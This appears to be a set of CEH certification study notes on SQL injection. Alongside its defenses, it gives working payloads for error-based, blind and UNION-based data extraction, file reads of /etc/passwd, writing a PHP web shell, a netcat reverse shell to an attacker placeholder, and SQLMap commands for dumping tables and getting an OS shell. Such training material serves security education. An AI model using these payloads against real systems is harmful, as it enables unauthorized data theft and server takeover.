CEHv12-15 - Web Application Hacking - SQL injection
SQLi concepts
SQL injection involves injecting SQL queries into existing queries to manipulate database operations. User input from the frontend is incorporated into backend SQL queries, so if it is not properly handled, attackers can execute arbitrary SQL commands.
SQL injections compromise the CIA triad:
- Confidentiality: data can be read.
- Integrity: data can be modified.
- Availability: data can be deleted.
Causes of SQL injections:
- Insecure coding practices.
- Trusting user input without proper validation.
- Lack of secure Software Development Life Cycle (SDLC) practices.
Types:
- Authentication bypass:e.g. bypassing login forms using SQL injection to gain unauthorized access.
- Error-Based SQL Injection: leveraging database error messages to adjust and refine SQL queries.
- Blind SQL Injection: no direct feedback; relies on indirect clues to determine success.
- NoSQL Injection: exploiting NoSQL databases (like MongoDB) with similar injection techniques.
Finding SQL injection points:
- Visible Methods: login forms, search boxes, URLs with query parameters (e.g.,
id=1
). - Less Visible Methods: analyzing page source and API calls using tools like web proxies (e.g., Burp Suite).
- Visible Methods: login forms, search boxes, URLs with query parameters (e.g.,
Automating SQL injection discovery:
- Using vulnerability scanners (e.g., Nessus).
- SQL-specific tools (e.g., SQLMap) for automated testing and exploitation.
Common Defenses against SQL injections:
- Input validation: regular expression filtering to block special characters like single quotes.
- Web Application Firewalls (WAFs): identifying and blocking SQL injection attempts.
- Least privilege principle: restricting database access rights to minimize potential damage.
- Parameterized queries / Prepared Statements: using pre-built SQL statements that do not change based on user input.
Bypassing SQL injection defenses:
- Query Obfuscation: using inline comments to break up query strings (e.g.,
or/**/1=1
). - Null Bytes: incorporating null bytes (
%00
) to disrupt pattern matching. - Using variables: embedding SQL queries within variables.
- Encoding special characters: URL encoding or hex encoding special characters to bypass filters.
- Concatenation: breaking keywords into parts using concatenation (e.g.,
S+E+L+E+C+T
). - Uncommon Queries: using less common but logically equivalent queries (e.g.,
dog=dog
instead of1=1
).
- Query Obfuscation: using inline comments to break up query strings (e.g.,
Error-based SQLi attacks
Type of SQL injection that relies on database error messages to confirm and exploit vulnerabilities. It’s goal is to trigger database errors to reveal information about the structure of the database, including columns, tables, and data.
How to
- Inject a single quote (
'
) or similar characters into inputs to provoke errors. - Analyze error messages to identify:
- Valid injection points.
- Database structure (e.g., number of columns, table names).
- Use SQL queries (e.g.,
ORDER BY
,UNION SELECT
) to extract data or refine injection techniques.
Steps in exploiting
Find Injection Points: test inputs like search boxes, URLs, or login forms (e.g. adding
'
to a search query may result in an error).Determine the Number of Columns: ese
ORDER BY
to incrementally test the number of columns.1
2
3
4' ORDER BY 1-- (Works)
' ORDER BY 2-- (Works)
' ORDER BY 8-- (Error: 8 columns do not exist)
-- Stop when an error occurs to identify the maximum column count.Label Output Columns: use
UNION SELECT
to identify output columns visible in the web application.1
2' UNION SELECT 1,2,3,4--
-- The visible numbers in the result correspond to exploitable columns.Extract Table and Column Names: use
information_schema
tables to gather database metadata.1
2' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--Retrieve Sensitive Data: extract data using the identified table and column names.
1
' UNION SELECT username, password FROM users--
Crack Password Hashes (if applicable): extract hashed passwords and use tools like CrackStation to decode them.
Defenses
- Input Validation: block characters like
'
,"
,--
,;
to prevent SQL injection. - Parameterized Queries (Prepared Statements): separate SQL code from user input.
- Web Application Firewalls (WAF): detect and block suspicious queries.
- Least Privilege: restrict database user permissions to minimize damage.
- Disable Detailed Error Messages: return generic error messages to users (e.g., “An error occurred.”).
Blind-based SQLi attacks
Sometimes, an attack’s success is not immediately visible. Blind SQL injections are used when there’s no direct indication of success or failure. Different from error-based injections where you get direct feedback.
- Slower Process: requires manual testing and multiple iterations.
- Subtle feedback: rRelies on small application behavior changes or response delays.
Types
Boolean-Based Blind SQL Injection
- Relies on the application returning different results for TRUE and FALSE queries.
- e.g.checking for the existence of data based on conditional statements (
OR 1=1
for TRUE,OR 1=2
for FALSE).
- e.g.checking for the existence of data based on conditional statements (
- Observing the response helps determine if the injection was successful.
- Relies on the application returning different results for TRUE and FALSE queries.
Time-Based Blind SQL Injection
- Involves injecting SQL commands that cause the database to delay its response.
- Example: Using the
SLEEP
function to introduce a delay. - The time delay indicates whether the injection was successful.
How to
Boolean-based approach:
- Inject logical conditions to observe variations in responses:
- Inject
' OR 1=1--
(True condition) → observe if content is displayed. - Inject
' OR 1=2--
(False condition) → observe if content is not displayed.
- Inject
- Use conditions like
ORDER BY
to infer database structure:1
2' ORDER BY 1 -- (Valid column)
' ORDER BY 8 -- (Invalid column, triggers subtle behavior changes)
- Inject logical conditions to observe variations in responses:
Time-based approach: sxploit functions like
SLEEP()
to delay responses:- Inject
' OR SLEEP(5)--
→ Response delayed by 5 seconds indicates success. - Adjust sleep time to validate column counts or other queries.
- Inject
Defenses against blind SQL injection
- Input validation: reject unexpected characters (
'
,"
,;
,--
). - Parameterized queries (Prepared Statements): prevent dynamic query construction.
- Web Application Firewalls (WAF): detect and block anomalous patterns.
- Disable Sleep Commands: prevent execution of time-based functions like
SLEEP()
. - Limit Error Feedback: return generic error messages.
SQLi to system access
- Definition: Exploits vulnerabilities in database queries to manipulate data. Commonly used to access or manipulate unauthorized data.
How to
File read via SQL injection: use the
LOAD_FILE
function to read files accessible to the SQL user.1
2UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd'), 5, 6, 7--
-- Displays contents of the `/etc/passwd` file.File write via SQL injection: use
INTO OUTFILE
to write files, such as text files or scripts, to writable directories.1
UNION SELECT 1, 2, 3, 'Test Content!', 5, 6, 7 INTO OUTFILE '/var/www/html/test.txt'--
Remote Code Execution (RCE): inject PHP code into writable directories to create a web shell.
1
2UNION SELECT 1, 2, 3, "<?php echo shell_exec($_GET['cmd']); ?>", 5, 6, 7 INTO OUTFILE '/var/www/html/shell.php'--
# then access the shell via the browser: http://target.com/shell.php?cmd=whoamiEscalation to reverse shell : combine RCE with tools like
netcat
to gain interactive shell access.- Start a listener on the attacker machine
1
nc -lvp 9999
- Inject reverse shell command
1
UNION SELECT 1, 2, 3, "<?php echo shell_exec('nc -e /bin/bash <attacker_ip> 9999'); ?>", 5, 6, 7 INTO OUTFILE '/var/www/html/reverse.php'--
- Trigger the reverse shell via browser:
http://target.com/reverse.php
- Start a listener on the attacker machine
Mitigation strategies
- Always validate and sanitize user inputs.
- Use parameterized queries and Object Relational Mapping (ORM) practices.
- Limit database permissions to the minimum required for functionality.
SQLMap
SQLmap is a powerful automation tool for identifying and exploiting SQL injection vulnerabilities. It allows users to enumerate databases, extract data, and even execute system commands if conditions allow.
Set up
Basic syntax: GET* (pass the URL) or POST (
--data
to provides request body) requests.1
2
3
4
5
6
7
8
9sqlmap --url "http://target.com/vulnerable_page.php"
# --url: Define the target URL.
# --cookie: Provide session tokens for authenticated testing.
# --data: Supply POST request parameters.
# --dbs: Enumerate databases.
# --tables: List tables within a database.
# --columns: Display columns in a table.
# --dump: Extract data from specified columns.
# --os-shell: Attempt OS shell access.Enumerate databases:
1
sqlmap --url "http://target.com/vulnerable_page.php" --dbs
Enumerate tables in a specific database:
1
sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> --tables
Dump data from specific columns:
1
sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> -T <table_name> -C "column1,column2" --dump
Attempt OS command execution:
1
sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> --os-shell
Using Cookies and Session Tokens: if a session is required, pass cookies using
--cookie
:1
sqlmap --url "http://target.com/vulnerable_page.php" --cookie="PHPSESSID=abc123; SecurityLevel=low"
Important observations
- SQLmap can detect and bypass many defenses, including:
- URL redirects.
- Cookies for session management.
- Union-based and boolean-based SQL injection techniques.
- Automated cracking of hashed passwords is supported (e.g., dictionary attacks).
- SQLmap can detect and bypass many defenses, including: